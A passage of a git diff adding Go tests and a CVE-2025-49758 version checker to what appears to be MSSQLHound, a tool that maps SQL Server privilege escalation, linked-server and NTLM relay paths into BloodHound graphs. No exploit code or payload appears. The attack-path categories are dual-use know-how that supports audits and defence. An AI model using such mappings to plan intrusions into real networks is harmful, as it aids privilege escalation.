"sa", + OwnerObjectIdentifier: "sa@" + serverOID, + IsTrustworthy: false, + SQLServerName: "testserver.domain.com:1433", + DBScopedCredentials: []types.DBScopedCredential{ + { + CredentialID: 1, + Name: "DBScopedCred", + CredentialIdentity: "DOMAIN\\dbcreduser", + ResolvedSID: "S-1-5-21-1234567890-1234567890-1234567890-5003", + CreateDate: time.Now(), + ModifyDate: time.Now(), + }, + }, + }, + }, + LinkedServers: []types.LinkedServer{ + { + ServerID: 1, + Name: "LINKED_SERVER", + Product: "SQL Server", + Provider: "SQLNCLI11", + DataSource: "linkedserver.domain.com", + IsLinkedServer: true, + IsRPCOutEnabled: true, + IsDataAccessEnabled: true, + }, + // Linked server with admin privileges for LinkedAsAdmin test + { + ServerID: 2, + Name: "ADMIN_LINKED_SERVER", + Product: "SQL Server", + Provider: "SQLNCLI11", + DataSource: "adminlinkedserver.domain.com", + IsLinkedServer: true, + IsRPCOutEnabled: true, + IsDataAccessEnabled: true, + RemoteLogin: "admin_sql_login", + RemoteIsSysadmin: true, + RemoteIsMixedMode: true, + ResolvedObjectIdentifier: "S-1-5-21-9999999999-9999999999-9999999999-1001:1433", + }, + }, + } +} + +// createMockServerInfoWithComputerLogin creates a mock ServerInfo with a computer account login +// for testing CoerceAndRelayToMSSQL edge +func createMockServerInfoWithComputerLogin() *types.ServerInfo { + info := createMockServerInfo() + serverOID := info.ObjectIdentifier + + // Add a computer account login + info.ServerPrincipals = append(info.ServerPrincipals, types.ServerPrincipal{ + ObjectIdentifier: "DOMAIN\\WORKSTATION1$@" + serverOID, + PrincipalID: 500, + Name: "DOMAIN\\WORKSTATION1$", + TypeDescription: "WINDOWS_LOGIN", + IsDisabled: false, + IsFixedRole: false, + SecurityIdentifier: "S-1-5-21-1234567890-1234567890-1234567890-3001", + IsActiveDirectoryPrincipal: true, + SQLServerName: "testserver.domain.com:1433", + Permissions: []types.Permission{ + {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"}, + }, + }) + + return info +} + +// verifyEdges checks that all expected edges are present +func verifyEdges(t *testing.T, edges []bloodhound.Edge, nodes []bloodhound.Node) { + // Build edge lookup + edgesByKind := make(map[string][]bloodhound.Edge) + for _, edge := range edges { + edgesByKind[edge.Kind] = append(edgesByKind[edge.Kind], edge) + } + + // Test: MSSQL_Contains edges + t.Run("Contains edges", func(t *testing.T) { + containsEdges := edgesByKind[bloodhound.EdgeKinds.Contains] + if len(containsEdges) == 0 { + t.Error("Expected MSSQL_Contains edges, got none") + } + // Check server contains databases + found := false + for _, e := range containsEdges { + if strings.HasSuffix(e.End.Value, "\\master") { + found = true + break + } + } + if !found { + t.Error("Expected MSSQL_Contains edge from server to master database") + } + }) + + // Test: MSSQL_MemberOf edges + t.Run("MemberOf edges", func(t *testing.T) { + memberOfEdges := edgesByKind[bloodhound.EdgeKinds.MemberOf] + if len(memberOfEdges) == 0 { + t.Error("Expected MSSQL_MemberOf edges, got none") + } + // Check sa is member of sysadmin + found := false + for _, e := range memberOfEdges { + if strings.HasPrefix(e.Start.Value, "sa@") && strings.Contains(e.End.Value, "sysadmin@") { + found = true + break + } + } + if !found { + t.Error("Expected MSSQL_MemberOf edge from sa to sysadmin") + } + }) + + // Test: MSSQL_Owns edges + t.Run("Owns edges", func(t *testing.T) { + ownsEdges := edgesByKind[bloodhound.EdgeKinds.Owns] + if len(ownsEdges) == 0 { + t.Error("Expected MSSQL_Owns edges, got none") + } + }) + + // Test: MSSQL_ControlServer edges (from sysadmin role) + t.Run("ControlServer edges", func(t *testing.T) { + controlServerEdges := edgesByKind[bloodhound.EdgeKinds.ControlServer] + if len(controlServerEdges) == 0 { + t.Error("Expected MSSQL_ControlServer edges, got none") + } + // Check sysadmin has ControlServer + found := false + for _, e := range controlServerEdges { + if strings.Contains(e.Start.Value, "sysadmin@") { + found = true + break + } + } + if !found { + t.Error("Expected MSSQL_ControlServer edge from sysadmin") + } + }) + + // Test: MSSQL_ImpersonateAnyLogin edges + t.Run("ImpersonateAnyLogin edges", func(t *testing.T) { + impersonateEdges := edgesByKind[bloodhound.EdgeKinds.ImpersonateAnyLogin] + if len(impersonateEdges) == 0 { + t.Error("Expected MSSQL_ImpersonateAnyLogin edges, got none") + } + }) + + // Test: MSSQL_HasLogin edges + t.Run("HasLogin edges", func(t *testing.T) { + hasLoginEdges := edgesByKind[bloodhound.EdgeKinds.HasLogin] + if len(hasLoginEdges) == 0 { + t.Error("Expected MSSQL_HasLogin edges, got none") + } + // Check domain user has login + found := false + for _, e := range hasLoginEdges { + if strings.HasPrefix(e.Start.Value, "S-1-5-21-") { + found = true + break + } + } + if !found { + t.Error("Expected MSSQL_HasLogin edge from AD SID to login") + } + }) + + // Test: MSSQL_ServiceAccountFor edges + t.Run("ServiceAccountFor edges", func(t *testing.T) { + saEdges := edgesByKind[bloodhound.EdgeKinds.ServiceAccountFor] + if len(saEdges) == 0 { + t.Error("Expected MSSQL_ServiceAccountFor edges, got none") + } + }) + + // Test: MSSQL_GetAdminTGS edges + t.Run("GetAdminTGS edges", func(t *testing.T) { + getAdminTGSEdges := edgesByKind[bloodhound.EdgeKinds.GetAdminTGS] + if len(getAdminTGSEdges) == 0 { + t.Error("Expected MSSQL_GetAdminTGS edges, got none") + } + }) + + // Test: MSSQL_GetTGS edges + t.Run("GetTGS edges", func(t *testing.T) { + getTGSEdges := edgesByKind[bloodhound.EdgeKinds.GetTGS] + if len(getTGSEdges) == 0 { + t.Error("Expected MSSQL_GetTGS edges, got none") + } + }) + + // Test: MSSQL_IsTrustedBy edges (for trustworthy database) + t.Run("IsTrustedBy edges", func(t *testing.T) { + trustEdges := edgesByKind[bloodhound.EdgeKinds.IsTrustedBy] + if len(trustEdges) == 0 { + t.Error("Expected MSSQL_IsTrustedBy edges for trustworthy database, got none") + } + }) + + // Test: MSSQL_ExecuteAsOwner edges (for trustworthy database owned by sysadmin) + t.Run("ExecuteAsOwner edges", func(t *testing.T) { + executeAsOwnerEdges := edgesByKind[bloodhound.EdgeKinds.ExecuteAsOwner] + if len(executeAsOwnerEdges) == 0 { + t.Error("Expected MSSQL_ExecuteAsOwner edges for trustworthy database, got none") + } + }) + + // Test: MSSQL_HasMappedCred edges + t.Run("HasMappedCred edges", func(t *testing.T) { + credEdges := edgesByKind[bloodhound.EdgeKinds.HasMappedCred] + if len(credEdges) == 0 { + t.Error("Expected MSSQL_HasMappedCred edges, got none") + } + }) + + // Test: MSSQL_HasProxyCred edges + t.Run("HasProxyCred edges", func(t *testing.T) { + proxyEdges := edgesByKind[bloodhound.EdgeKinds.HasProxyCred] + if len(proxyEdges) == 0 { + t.Error("Expected MSSQL_HasProxyCred edges, got none") + } + }) + + // Test: MSSQL_HasDBScopedCred edges + t.Run("HasDBScopedCred edges", func(t *testing.T) { + dbCredEdges := edgesByKind[bloodhound.EdgeKinds.HasDBScopedCred] + if len(dbCredEdges) == 0 { + t.Error("Expected MSSQL_HasDBScopedCred edges, got none") + } + }) + + // Test: MSSQL_LinkedTo edges + t.Run("LinkedTo edges", func(t *testing.T) { + linkedEdges := edgesByKind[bloodhound.EdgeKinds.LinkedTo] + if len(linkedEdges) == 0 { + t.Error("Expected MSSQL_LinkedTo edges, got none") + } + }) + + // Test: MSSQL_LinkedAsAdmin edges (for linked server with admin privileges) + t.Run("LinkedAsAdmin edges", func(t *testing.T) { + linkedAdminEdges := edgesByKind[bloodhound.EdgeKinds.LinkedAsAdmin] + if len(linkedAdminEdges) == 0 { + t.Error("Expected MSSQL_LinkedAsAdmin edges for linked server with admin login, got none") + } + }) + + // Test: MSSQL_IsMappedTo edges (login to database user) + t.Run("IsMappedTo edges", func(t *testing.T) { + mappedEdges := edgesByKind[bloodhound.EdgeKinds.IsMappedTo] + if len(mappedEdges) == 0 { + t.Error("Expected MSSQL_IsMappedTo edges, got none") + } + }) + + // Print summary + t.Logf("Total nodes: %d, Total edges: %d", len(nodes), len(edges)) + t.Logf("Edge counts by type:") + for kind, kindEdges := range edgesByKind { + t.Logf(" %s: %d", kind, len(kindEdges)) + } +} + +// TestEdgeProperties tests that edge properties are correctly set +func TestEdgeProperties(t *testing.T) { + tests := []struct { + name string + edgeKind string + ctx *bloodhound.EdgeContext + }{ + { + name: "MemberOf edge", + edgeKind: bloodhound.EdgeKinds.MemberOf, + ctx: &bloodhound.EdgeContext{ + SourceName: "testuser", + SourceType: bloodhound.NodeKinds.Login, + TargetName: "sysadmin", + TargetType: bloodhound.NodeKinds.ServerRole, + SQLServerName: "testserver:1433", + }, + }, + { + name: "ServiceAccountFor edge", + edgeKind: bloodhound.EdgeKinds.ServiceAccountFor, + ctx: &bloodhound.EdgeContext{ + SourceName: "DOMAIN\\sqlservice", + SourceType: "Base", + TargetName: "testserver:1433", + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: "testserver:1433", + }, + }, + { + name: "HasMappedCred edge", + edgeKind: bloodhound.EdgeKinds.HasMappedCred, + ctx: &bloodhound.EdgeContext{ + SourceName: "testlogin", + SourceType: bloodhound.NodeKinds.Login, + TargetName: "DOMAIN\\creduser", + TargetType: "Base", + SQLServerName: "testserver:1433", + }, + }, + { + name: "HasProxyCred edge", + edgeKind: bloodhound.EdgeKinds.HasProxyCred, + ctx: &bloodhound.EdgeContext{ + SourceName: "testlogin", + SourceType: bloodhound.NodeKinds.Login, + TargetName: "DOMAIN\\proxyuser", + TargetType: "Base", + SQLServerName: "testserver:1433", + }, + }, + { + name: "HasDBScopedCred edge", + edgeKind: bloodhound.EdgeKinds.HasDBScopedCred, + ctx: &bloodhound.EdgeContext{ + SourceName: "TestDB", + SourceType: bloodhound.NodeKinds.Database, + TargetName: "DOMAIN\\dbcreduser", + TargetType: "Base", + SQLServerName: "testserver:1433", + DatabaseName: "TestDB", + }, + }, + { + name: "GetTGS edge", + edgeKind: bloodhound.EdgeKinds.GetTGS, + ctx: &bloodhound.EdgeContext{ + SourceName: "DOMAIN\\sqlservice", + SourceType: "Base", + TargetName: "testlogin", + TargetType: bloodhound.NodeKinds.Login, + SQLServerName: "testserver:1433", + }, + }, + { + name: "GetAdminTGS edge", + edgeKind: bloodhound.EdgeKinds.GetAdminTGS, + ctx: &bloodhound.EdgeContext{ + SourceName: "DOMAIN\\sqlservice", + SourceType: "Base", + TargetName: "testserver:1433", + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: "testserver:1433", + }, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + props := bloodhound.GetEdgeProperties(tt.edgeKind, tt.ctx) + + // Check that properties are set + if props["general"] == nil || props["general"] == "" { + t.Error("Expected 'general' property to be set") + } + if props["windowsAbuse"] == nil { + t.Error("Expected 'windowsAbuse' property to be set") + } + if props["linuxAbuse"] == nil { + t.Error("Expected 'linuxAbuse' property to be set") + } + if props["traversable"] == nil { + t.Error("Expected 'traversable' property to be set") + } + }) + } +} + +// TestNodeKinds tests that node kinds are correctly assigned +func TestNodeKinds(t *testing.T) { + tests := []struct { + typeDesc string + expectedKind string + isServerType bool + }{ + {"SERVER_ROLE", bloodhound.NodeKinds.ServerRole, true}, + {"SQL_LOGIN", bloodhound.NodeKinds.Login, true}, + {"WINDOWS_LOGIN", bloodhound.NodeKinds.Login, true}, + {"WINDOWS_GROUP", bloodhound.NodeKinds.Login, true}, + {"DATABASE_ROLE", bloodhound.NodeKinds.DatabaseRole, false}, + {"SQL_USER", bloodhound.NodeKinds.DatabaseUser, false}, + {"WINDOWS_USER", bloodhound.NodeKinds.DatabaseUser, false}, + {"APPLICATION_ROLE", bloodhound.NodeKinds.ApplicationRole, false}, + } + + c := New(&Config{}) + + for _, tt := range tests { + t.Run(tt.typeDesc, func(t *testing.T) { + var kind string + if tt.isServerType { + kind = c.getServerPrincipalType(tt.typeDesc) + } else { + kind = c.getDatabasePrincipalType(tt.typeDesc) + } + if kind != tt.expectedKind { + t.Errorf("Expected %s, got %s for type %s", tt.expectedKind, kind, tt.typeDesc) + } + }) + } +} + +// TestOutputFormat tests that the output JSON is valid BloodHound format +func TestOutputFormat(t *testing.T) { + // Create a temporary directory for output + tmpDir, err := os.MkdirTemp("", "mssqlhound-test") + if err != nil { + t.Fatalf("Failed to create temp dir: %v", err) + } + defer os.RemoveAll(tmpDir) + + outputPath := filepath.Join(tmpDir, "test-output.json") + writer, err := bloodhound.NewStreamingWriter(outputPath) + if err != nil { + t.Fatalf("Failed to create writer: %v", err) + } + + // Write a test node + node := &bloodhound.Node{ + ID: "test-node-1", + Kinds: []string{"MSSQL_Server", "Base"}, + Properties: map[string]interface{}{ + "name": "TestServer", + "enabled": true, + }, + } + if err := writer.WriteNode(node); err != nil { + t.Fatalf("Failed to write node: %v", err) + } + + // Write a test edge + edge := &bloodhound.Edge{ + Start: bloodhound.EdgeEndpoint{Value: "source-1"}, + End: bloodhound.EdgeEndpoint{Value: "target-1"}, + Kind: "MSSQL_Contains", + Properties: map[string]interface{}{ + "traversable": true, + }, + } + if err := writer.WriteEdge(edge); err != nil { + t.Fatalf("Failed to write edge: %v", err) + } + + if err := writer.Close(); err != nil { + t.Fatalf("Failed to close writer: %v", err) + } + + // Read and validate the output + data, err := os.ReadFile(outputPath) + if err != nil { + t.Fatalf("Failed to read output: %v", err) + } + + var output struct { + Schema string `json:"$schema"` + Metadata struct { + SourceKind string `json:"source_kind"` + } `json:"metadata"` + Graph struct { + Nodes []json.RawMessage `json:"nodes"` + Edges []json.RawMessage `json:"edges"` + } `json:"graph"` + } + + if err := json.Unmarshal(data, &output); err != nil { + t.Fatalf("Output is not valid JSON: %v", err) + } + + // Verify structure + if output.Schema == "" { + t.Error("Expected $schema to be set") + } + if output.Metadata.SourceKind != "MSSQL_Base" { + t.Errorf("Expected source_kind to be MSSQL_Base, got %s", output.Metadata.SourceKind) + } + if len(output.Graph.Nodes) != 1 { + t.Errorf("Expected 1 node, got %d", len(output.Graph.Nodes)) + } + if len(output.Graph.Edges) != 1 { + t.Errorf("Expected 1 edge, got %d", len(output.Graph.Edges)) + } +} + +// TestCoerceAndRelayEdge tests that CoerceAndRelayToMSSQL edges are created +// when Extended Protection is Off and a computer account has a login +func TestCoerceAndRelayEdge(t *testing.T) { + // Create a temporary directory for output + tmpDir, err := os.MkdirTemp("", "mssqlhound-test") + if err != nil { + t.Fatalf("Failed to create temp dir: %v", err) + } + defer os.RemoveAll(tmpDir) + + // Create a mock server info with a computer account login + serverInfo := createMockServerInfoWithComputerLogin() + + // Create collector with a domain specified (needed for CoerceAndRelay) + config := &Config{ + TempDir: tmpDir, + Domain: "domain.com", + IncludeNontraversableEdges: true, + } + c := New(config) + + // Create output file + outputPath := filepath.Join(tmpDir, "test-output.json") + writer, err := bloodhound.NewStreamingWriter(outputPath) + if err != nil { + t.Fatalf("Failed to create writer: %v", err) + } + + // Write nodes + serverNode := c.createServerNode(serverInfo) + if err := writer.WriteNode(serverNode); err != nil { + t.Fatalf("Failed to write server node: %v", err) + } + + for _, principal := range serverInfo.ServerPrincipals { + principalNode := c.createServerPrincipalNode(&principal, serverInfo, nil) + if err := writer.WriteNode(principalNode); err != nil { + t.Fatalf("Failed to write server principal node: %v", err) + } + } + + // Create edges + if err := c.createEdges(writer, serverInfo); err != nil { + t.Fatalf("Failed to create edges: %v", err) + } + + // Close writer + if err := writer.Close(); err != nil { + t.Fatalf("Failed to close writer: %v", err) + } + + // Read and verify output + _, edges, err := bloodhound.ReadFromFile(outputPath) + if err != nil { + t.Fatalf("Failed to read output: %v", err) + } + + // Check for CoerceAndRelayToMSSQL edge + found := false + for _, edge := range edges { + if edge.Kind == bloodhound.EdgeKinds.CoerceAndRelayTo { + found = true + // Verify it's from Authenticated Users to the computer login + if !strings.Contains(edge.Start.Value, "S-1-5-11") { + t.Errorf("Expected CoerceAndRelayToMSSQL source to be Authenticated Users SID, got %s", edge.Start.Value) + } + if !strings.Contains(edge.End.Value, "WORKSTATION1$") { + t.Errorf("Expected CoerceAndRelayToMSSQL target to be computer login, got %s", edge.End.Value) + } + break + } + } + + if !found { + t.Error("Expected CoerceAndRelayToMSSQL edge for computer login with EPA Off, got none") + t.Logf("Edges found: %d", len(edges)) + for _, edge := range edges { + t.Logf(" %s: %s -> %s", edge.Kind, edge.Start.Value, edge.End.Value) + } + } +} + +// TestLinkedAsAdminEdgeProperties tests that LinkedAsAdmin edge properties are correctly set +func TestLinkedAsAdminEdgeProperties(t *testing.T) { + ctx := &bloodhound.EdgeContext{ + SourceName: "SourceServer", + SourceType: bloodhound.NodeKinds.Server, + TargetName: "TargetServer", + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: "sourceserver.domain.com:1433", + } + + props := bloodhound.GetEdgeProperties(bloodhound.EdgeKinds.LinkedAsAdmin, ctx) + + if props["traversable"] != true { + t.Error("Expected LinkedAsAdmin to be traversable") + } + if props["general"] == nil || props["general"] == "" { + t.Error("Expected 'general' property to be set") + } + if props["windowsAbuse"] == nil { + t.Error("Expected 'windowsAbuse' property to be set") + } +} + +// TestCoerceAndRelayEdgeProperties tests that CoerceAndRelayToMSSQL edge properties are correctly set +func TestCoerceAndRelayEdgeProperties(t *testing.T) { + ctx := &bloodhound.EdgeContext{ + SourceName: "AUTHENTICATED USERS", + SourceType: "Group", + TargetName: "DOMAIN\\COMPUTER$", + TargetType: bloodhound.NodeKinds.Login, + SQLServerName: "sqlserver.domain.com:1433", + } + + props := bloodhound.GetEdgeProperties(bloodhound.EdgeKinds.CoerceAndRelayTo, ctx) + + if props["traversable"] != true { + t.Error("Expected CoerceAndRelayToMSSQL to be traversable") + } + if props["general"] == nil || props["general"] == "" { + t.Error("Expected 'general' property to be set") + } + if props["windowsAbuse"] == nil { + t.Error("Expected 'windowsAbuse' property to be set") + } +} diff --git a/go/internal/collector/cve.go b/go/internal/collector/cve.go new file mode 100644 index 0000000..b3de393 --- /dev/null +++ b/go/internal/collector/cve.go @@ -0,0 +1,299 @@ +// Package collector provides CVE vulnerability checking for SQL Server. +package collector + +import ( + "fmt" + "regexp" + "strconv" + "strings" +) + +// SQLVersion represents a parsed SQL Server version +type SQLVersion struct { + Major int + Minor int + Build int + Revision int +} + +// Compare compares two SQLVersions. Returns -1 if v < other, 0 if equal, 1 if v > other +func (v SQLVersion) Compare(other SQLVersion) int { + if v.Major != other.Major { + if v.Major < other.Major { + return -1 + } + return 1 + } + if v.Minor != other.Minor { + if v.Minor < other.Minor { + return -1 + } + return 1 + } + if v.Build != other.Build { + if v.Build < other.Build { + return -1 + } + return 1 + } + if v.Revision != other.Revision { + if v.Revision < other.Revision { + return -1 + } + return 1 + } + return 0 +} + +func (v SQLVersion) String() string { + return fmt.Sprintf("%d.%d.%d.%d", v.Major, v.Minor, v.Build, v.Revision) +} + +// LessThan returns true if v < other +func (v SQLVersion) LessThan(other SQLVersion) bool { + return v.Compare(other) < 0 +} + +// LessThanOrEqual returns true if v <= other +func (v SQLVersion) LessThanOrEqual(other SQLVersion) bool { + return v.Compare(other) <= 0 +} + +// GreaterThanOrEqual returns true if v >= other +func (v SQLVersion) GreaterThanOrEqual(other SQLVersion) bool { + return v.Compare(other) >= 0 +} + +// SecurityUpdate represents a SQL Server security update for CVE-2025-49758 +type SecurityUpdate struct { + Name string + KB string + MinAffected SQLVersion + MaxAffected SQLVersion + PatchedAt SQLVersion +} + +// CVE202549758Updates contains the security updates that fix CVE-2025-49758 +var CVE202549758Updates = []SecurityUpdate{ + // SQL Server 2022 + { + Name: "SQL 2022 CU20+GDR", + KB: "5063814", + MinAffected: SQLVersion{16, 0, 4003, 1}, + MaxAffected: SQLVersion{16, 0, 4205, 1}, + PatchedAt: SQLVersion{16, 0, 4210, 1}, + }, + { + Name: "SQL 2022 RTM+GDR", + KB: "5063756", + MinAffected: SQLVersion{16, 0, 1000, 6}, + MaxAffected: SQLVersion{16, 0, 1140, 6}, + PatchedAt: SQLVersion{16, 0, 1145, 1}, + }, + + // SQL Server 2019 + { + Name: "SQL 2019 CU32+GDR", + KB: "5063757", + MinAffected: SQLVersion{15, 0, 4003, 23}, + MaxAffected: SQLVersion{15, 0, 4435, 7}, + PatchedAt: SQLVersion{15, 0, 4440, 1}, + }, + { + Name: "SQL 2019 RTM+GDR", + KB: "5063758", + MinAffected: SQLVersion{15, 0, 2000, 5}, + MaxAffected: SQLVersion{15, 0, 2135, 5}, + PatchedAt: SQLVersion{15, 0, 2140, 1}, + }, + + // SQL Server 2017 + { + Name: "SQL 2017 CU31+GDR", + KB: "5063759", + MinAffected: SQLVersion{14, 0, 3006, 16}, + MaxAffected: SQLVersion{14, 0, 3495, 9}, + PatchedAt: SQLVersion{14, 0, 3500, 1}, + }, + { + Name: "SQL 2017 RTM+GDR", + KB: "5063760", + MinAffected: SQLVersion{14, 0, 1000, 169}, + MaxAffected: SQLVersion{14, 0, 2075, 8}, + PatchedAt: SQLVersion{14, 0, 2080, 1}, + }, + + // SQL Server 2016 + { + Name: "SQL 2016 Azure Connect Feature Pack", + KB: "5063761", + MinAffected: SQLVersion{13, 0, 7000, 253}, + MaxAffected: SQLVersion{13, 0, 7055, 9}, + PatchedAt: SQLVersion{13, 0, 7060, 1}, + }, + { + Name: "SQL 2016 SP3 RTM+GDR", + KB: "5063762", + MinAffected: SQLVersion{13, 0, 6300, 2}, + MaxAffected: SQLVersion{13, 0, 6460, 7}, + PatchedAt: SQLVersion{13, 0, 6465, 1}, + }, +} + +// CVECheckResult holds the result of a CVE vulnerability check +type CVECheckResult struct { + VersionDetected string + IsVulnerable bool + IsPatched bool + UpdateName string + KB string + RequiredVersion string +} + +// ParseSQLVersion parses a SQL Server version string (e.g., "15.0.2000.5") into SQLVersion +func ParseSQLVersion(versionStr string) (*SQLVersion, error) { + // Clean up the version string + versionStr = strings.TrimSpace(versionStr) + if versionStr == "" { + return nil, fmt.Errorf("empty version string") + } + + // Split by dots + parts := strings.Split(versionStr, ".") + if len(parts) < 2 { + return nil, fmt.Errorf("invalid version format: %s", versionStr) + } + + v := &SQLVersion{} + var err error + + // Parse major version + v.Major, err = strconv.Atoi(parts[0]) + if err != nil { + return nil, fmt.Errorf("invalid major version: %s", parts[0]) + } + + // Parse minor version + v.Minor, err = strconv.Atoi(parts[1]) + if err != nil { + return nil, fmt.Errorf("invalid minor version: %s", parts[1]) + } + + // Parse build number (optional) + if len(parts) >= 3 { + v.Build, err = strconv.Atoi(parts[2]) + if err != nil { + return nil, fmt.Errorf("invalid build version: %s", parts[2]) + } + } + + // Parse revision (optional) + if len(parts) >= 4 { + v.Revision, err = strconv.Atoi(parts[3]) + if err != nil { + return nil, fmt.Errorf("invalid revision: %s", parts[3]) + } + } + + return v, nil +} + +// ExtractVersionFromFullVersion extracts numeric version from @@VERSION output +// e.g., "Microsoft SQL Server 2019 (RTM-CU32) ... - 15.0.4435.7 ..." -> "15.0.4435.7" +func ExtractVersionFromFullVersion(fullVersion string) string { + // Try to find version pattern like "15.0.4435.7" + re := regexp.MustCompile(`(\d+\.\d+\.\d+\.\d+)`) + matches := re.FindStringSubmatch(fullVersion) + if len(matches) >= 2 { + return matches[1] + } + + // Try simpler pattern like "15.0.4435" + re = regexp.MustCompile(`(\d+\.\d+\.\d+)`) + matches = re.FindStringSubmatch(fullVersion) + if len(matches) >= 2 { + return matches[1] + } + + return "" +} + +// CheckCVE202549758 checks if a SQL Server version is vulnerable to CVE-2025-49758 +// Reference: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49758 +func CheckCVE202549758(versionNumber string, fullVersion string) *CVECheckResult { + // Try to get version from versionNumber first, then fullVersion + versionStr := versionNumber + if versionStr == "" && fullVersion != "" { + versionStr = ExtractVersionFromFullVersion(fullVersion) + } + + if versionStr == "" { + return nil + } + + sqlVersion, err := ParseSQLVersion(versionStr) + if err != nil { + return nil + } + + result := &CVECheckResult{ + VersionDetected: sqlVersion.String(), + IsVulnerable: false, + IsPatched: false, + } + + // Check if version is lower than SQL 2016 (version 13.x) + // These versions are out of support and vulnerable + sql2016Min := SQLVersion{13, 0, 0, 0} + if sqlVersion.LessThan(sql2016Min) { + result.IsVulnerable = true + result.UpdateName = "SQL Server < 2016" + result.KB = "N/A" + result.RequiredVersion = "13.0.6300.2 (SQL 2016 SP3)" + return result + } + + // Check against each security update + for _, update := range CVE202549758Updates { + // Check if version is in the affected range + if sqlVersion.GreaterThanOrEqual(update.MinAffected) && sqlVersion.LessThanOrEqual(update.MaxAffected) { + // Version is in affected range - check if patched + if sqlVersion.GreaterThanOrEqual(update.PatchedAt) { + result.IsPatched = true + result.UpdateName = update.Name + result.KB = update.KB + result.RequiredVersion = update.PatchedAt.String() + } else { + result.IsVulnerable = true + result.UpdateName = update.Name + result.KB = update.KB + result.RequiredVersion = update.PatchedAt.String() + } + return result + } + } + + // Version not in any known affected range - assume patched (newer version) + result.IsPatched = true + return result +} + +// IsVulnerableToCVE202549758 is a convenience function that returns true if the server is vulnerable +func IsVulnerableToCVE202549758(versionNumber string, fullVersion string) bool { + result := CheckCVE202549758(versionNumber, fullVersion) + if result == nil { + // Unable to determine - assume not vulnerable to reduce false positives + return false + } + return result.IsVulnerable +} + +// IsPatchedForCVE202549758 is a convenience function that returns true if the server is patched +func IsPatchedForCVE202549758(versionNumber string, fullVersion string) bool { + result := CheckCVE202549758(versionNumber, fullVersion) + if result == nil { + // Unable to determine - assume patched to reduce false positives + return true + } + return result.IsPatched +} diff --git a/go/internal/collector/cve_test.go b/go/internal/collector/cve_test.go new file mode 100644 index 0000000..8624a4f --- /dev/null +++ b/go/internal/collector/cve_test.go @@ -0,0 +1,267 @@ +package collector + +import ( + "testing" +) + +func TestParseSQLVersion(t *testing.T) { + tests := []struct { + name string + input string + expected *SQLVersion + wantError bool + }{ + { + name: "SQL Server 2019 full version", + input: "15.0.4435.7", + expected: &SQLVersion{15, 0, 4435, 7}, + }, + { + name: "SQL Server 2022 version", + input: "16.0.4210.1", + expected: &SQLVersion{16, 0, 4210, 1}, + }, + { + name: "Short version", + input: "15.0.4435", + expected: &SQLVersion{15, 0, 4435, 0}, + }, + { + name: "Two part version", + input: "15.0", + expected: &SQLVersion{15, 0, 0, 0}, + }, + { + name: "Empty string", + input: "", + wantError: true, + }, + { + name: "Invalid version", + input: "invalid", + wantError: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + result, err := ParseSQLVersion(tt.input) + if tt.wantError { + if err == nil { + t.Errorf("Expected error but got none") + } + return + } + if err != nil { + t.Errorf("Unexpected error: %v", err) + return + } + if result.Major != tt.expected.Major || result.Minor != tt.expected.Minor || + result.Build != tt.expected.Build || result.Revision != tt.expected.Revision { + t.Errorf("Expected %v but got %v", tt.expected, result) + } + }) + } +} + +func TestSQLVersionCompare(t *testing.T) { + tests := []struct { + name string + v1 SQLVersion + v2 SQLVersion + expected int + }{ + { + name: "Equal versions", + v1: SQLVersion{15, 0, 4435, 7}, + v2: SQLVersion{15, 0, 4435, 7}, + expected: 0, + }, + { + name: "v1 less than v2 (major)", + v1: SQLVersion{14, 0, 0, 0}, + v2: SQLVersion{15, 0, 0, 0}, + expected: -1, + }, + { + name: "v1 greater than v2 (minor)", + v1: SQLVersion{15, 1, 0, 0}, + v2: SQLVersion{15, 0, 0, 0}, + expected: 1, + }, + { + name: "v1 less than v2 (build)", + v1: SQLVersion{15, 0, 4435, 0}, + v2: SQLVersion{15, 0, 4440, 0}, + expected: -1, + }, + { + name: "v1 greater than v2 (revision)", + v1: SQLVersion{15, 0, 4435, 8}, + v2: SQLVersion{15, 0, 4435, 7}, + expected: 1, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + result := tt.v1.Compare(tt.v2) + if result != tt.expected { + t.Errorf("Expected %d but got %d", tt.expected, result) + } + }) + } +} + +func TestCheckCVE202549758(t *testing.T) { + tests := []struct { + name string + versionNumber string + fullVersion string + isVulnerable bool + isPatched bool + }{ + { + name: "SQL 2019 vulnerable version", + versionNumber: "15.0.4435.7", + isVulnerable: true, + isPatched: false, + }, + { + name: "SQL 2019 patched version", + versionNumber: "15.0.4440.1", + isVulnerable: false, + isPatched: true, + }, + { + name: "SQL 2022 vulnerable version", + versionNumber: "16.0.4205.1", + isVulnerable: true, + isPatched: false, + }, + { + name: "SQL 2022 patched version", + versionNumber: "16.0.4210.1", + isVulnerable: false, + isPatched: true, + }, + { + name: "SQL 2017 vulnerable version", + versionNumber: "14.0.3495.9", + isVulnerable: true, + isPatched: false, + }, + { + name: "SQL 2016 vulnerable version", + versionNumber: "13.0.6460.7", + isVulnerable: true, + isPatched: false, + }, + { + name: "SQL 2014 (pre-2016) - vulnerable", + versionNumber: "12.0.5000.0", + isVulnerable: true, + isPatched: false, + }, + { + name: "Full @@VERSION string", + fullVersion: "Microsoft SQL Server 2019 (RTM-CU32) (KB5029378) - 15.0.4435.7 (X64)", + isVulnerable: true, + isPatched: false, + }, + { + name: "Newer version not in affected ranges (assume patched)", + versionNumber: "16.0.5000.0", + isVulnerable: false, + isPatched: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + result := CheckCVE202549758(tt.versionNumber, tt.fullVersion) + if result == nil { + t.Error("Expected result but got nil") + return + } + if result.IsVulnerable != tt.isVulnerable { + t.Errorf("IsVulnerable: expected %v but got %v", tt.isVulnerable, result.IsVulnerable) + } + if result.IsPatched != tt.isPatched { + t.Errorf("IsPatched: expected %v but got %v", tt.isPatched, result.IsPatched) + } + }) + } +} + +func TestIsVulnerableToCVE202549758(t *testing.T) { + // Vulnerable version + if !IsVulnerableToCVE202549758("15.0.4435.7", "") { + t.Error("Expected 15.0.4435.7 to be vulnerable") + } + + // Patched version + if IsVulnerableToCVE202549758("15.0.4440.1", "") { + t.Error("Expected 15.0.4440.1 to not be vulnerable") + } + + // Empty 